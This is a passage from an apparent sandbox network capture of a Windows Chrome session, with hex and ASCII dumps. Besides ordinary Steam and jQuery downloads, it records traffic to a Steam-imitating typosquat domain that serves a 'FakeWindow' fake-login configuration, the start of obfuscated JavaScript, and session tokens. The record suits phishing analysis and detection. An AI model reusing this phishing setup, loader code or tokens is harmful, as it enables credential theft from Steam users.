2024-10-07 06:47:05 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-07 06:47:05 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49820	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	1298	OUT	GET /721d7f512e080156561232514300765c0c055e05 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:05 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"11f-KQxfomu8AZGbYTGOZdWX7URqWTo" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZkhXy9htlQfo%2B0dx%2B%2FY4bmqtxQzx9IZ%2FDaSUjdyvaqpojWbdp%2BHSBdMQL9DgEd6%2Fn8diSaEwv2pkx8E5Bo16z6b279vqTBQD7AoFnTf0fbAf8Tt8ILLIjCV39BKwznpTijDGJN0y3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf0118ca842db-EWR
2024-10-07 06:47:05 UTC	294	IN	Data Raw: 31 31 66 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 38 33 36 32 35 33 34 35 2e 32 35 37 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b Data Ascii: 11f{"success":true,"service":"Steam","iframe":true,"timestamp":1728283625345.257,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{
2024-10-07 06:47:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49816	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	554	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	347	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "XsgODqUOlVw9" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=11144513 Expires: Thu, 13 Feb 2025 06:28:58 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Length: 14447 Connection: close
2024-10-07 06:47:05 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49817	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	412	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".TZ2NKhB-nliU" Last-Modified: Wed, 28 Jun 2023 04:07:11 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9867922 Expires: Wed, 29 Jan 2025 11:52:27 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:05 UTC	16000	IN	Data Raw: 30 30 30 30 42 31 43 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 Data Ascii: 0000B1C1/! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.ge
2024-10-07 06:47:05 UTC	15827	IN	Data Raw: 74 26 26 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 69 29 2c 66 26 26 28 61 3f 28 61 3d 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 73 3f 65 3a 66 3f 6e 2e 63 61 6c 6c 28 65 29 3a 63 3f 6e 28 65 5b 30 5d 2c 72 29 3a 6f 7d 2c 6e 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 7d 29 2c 76 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 65 Data Ascii: t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise
2024-10-07 06:47:05 UTC	13690	IN	Data Raw: 21 31 3f 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 21 31 3f 76 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 6e 29 3a 28 72 3d 76 2e 70 72 6f 70 46 69 78 5b 6e 5d 7c 7c 6e 2c 72 20 69 6e 20 65 26 26 28 65 5b 72 5d 3d 21 30 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 7d 7d 2c 56 7c 7c 28 49 3d 7b 6e 61 6d 65 3a 21 30 2c 69 64 3a 21 30 2c 63 6f 6f 72 64 73 3a 21 30 7d 2c 6a 3d 76 2e 76 61 6c 48 6f 6f 6b 73 2e 62 75 74 74 6f 6e 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 Data Ascii: !1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]\|\|n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V\|\|(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttribut
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 Data Ascii: 00004000&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 0d 0a Data Ascii: n(e){var t
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 Data Ascii: 00004000,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:funct
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 2c 76 61 6c 75 65 3a 6e 2e 72 0d 0a Data Ascii: ,value:n.r
2024-10-07 06:47:05 UTC	13508	IN	Data Raw: 30 30 30 30 33 34 42 38 0d 0a 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c Data Ascii: 000034B8eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|
2024-10-07 06:47:05 UTC	1880	IN	Data Raw: 30 30 30 30 30 37 34 43 0d 0a 63 73 73 28 65 2c 22 74 6f 70 22 29 2c 75 3d 76 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 61 3d 28 72 3d 3d 3d 22 61 62 73 6f 6c 75 74 65 22 7c 7c 72 3d 3d 3d 22 66 69 78 65 64 22 29 26 26 76 2e 69 6e 41 72 72 61 79 28 22 61 75 74 6f 22 2c 5b 6f 2c 75 5d 29 3e 2d 31 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 61 3f 28 6c 3d 69 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 63 3d 6c 2e 74 6f 70 2c 68 3d 6c 2e 6c 65 66 74 29 3a 28 63 3d 70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 68 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 73 29 29 2c 74 2e 74 6f 70 21 3d 6e 75 6c 6c 26 26 28 66 2e 74 6f 70 3d 74 2e 74 6f 70 2d 73 2e 74 Data Ascii: 0000074Ccss(e,"top"),u=v.css(e,"left"),a=(r==="absolute"\|\|r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)\|\|0,h=parseFloat(u)\|\|0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.t
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49821	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	1148	OUT	GET /721d7f512e0801585d020440.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:05 UTC	1069	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fPc5D5CkIRIOUbHvfAlJsZbcyZnWp2xJB%2BU5SkFju%2FOqYGxM6XOnA30gfrmZFaZCqxGHnpt7gnx5UQ8jkUleXg5wPUeQ7t4EPqPSda4O8xXVTrKUMRq14WWbcefs12d5qMa%2Bm24Kxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf01288ff17d9-EWR
2024-10-07 06:47:05 UTC	300	IN	Data Raw: 37 62 37 31 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b71function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 36 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 34 29 29 2f 30 78 Data Ascii: );while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 39 61 32 64 2c 5f 30 78 63 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 78 34 38 37 61 31 65 2c 5f 30 78 33 39 61 38 33 36 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 38 Data Ascii: 9a2d,_0xc1fb00[_0x169a2d]);}return 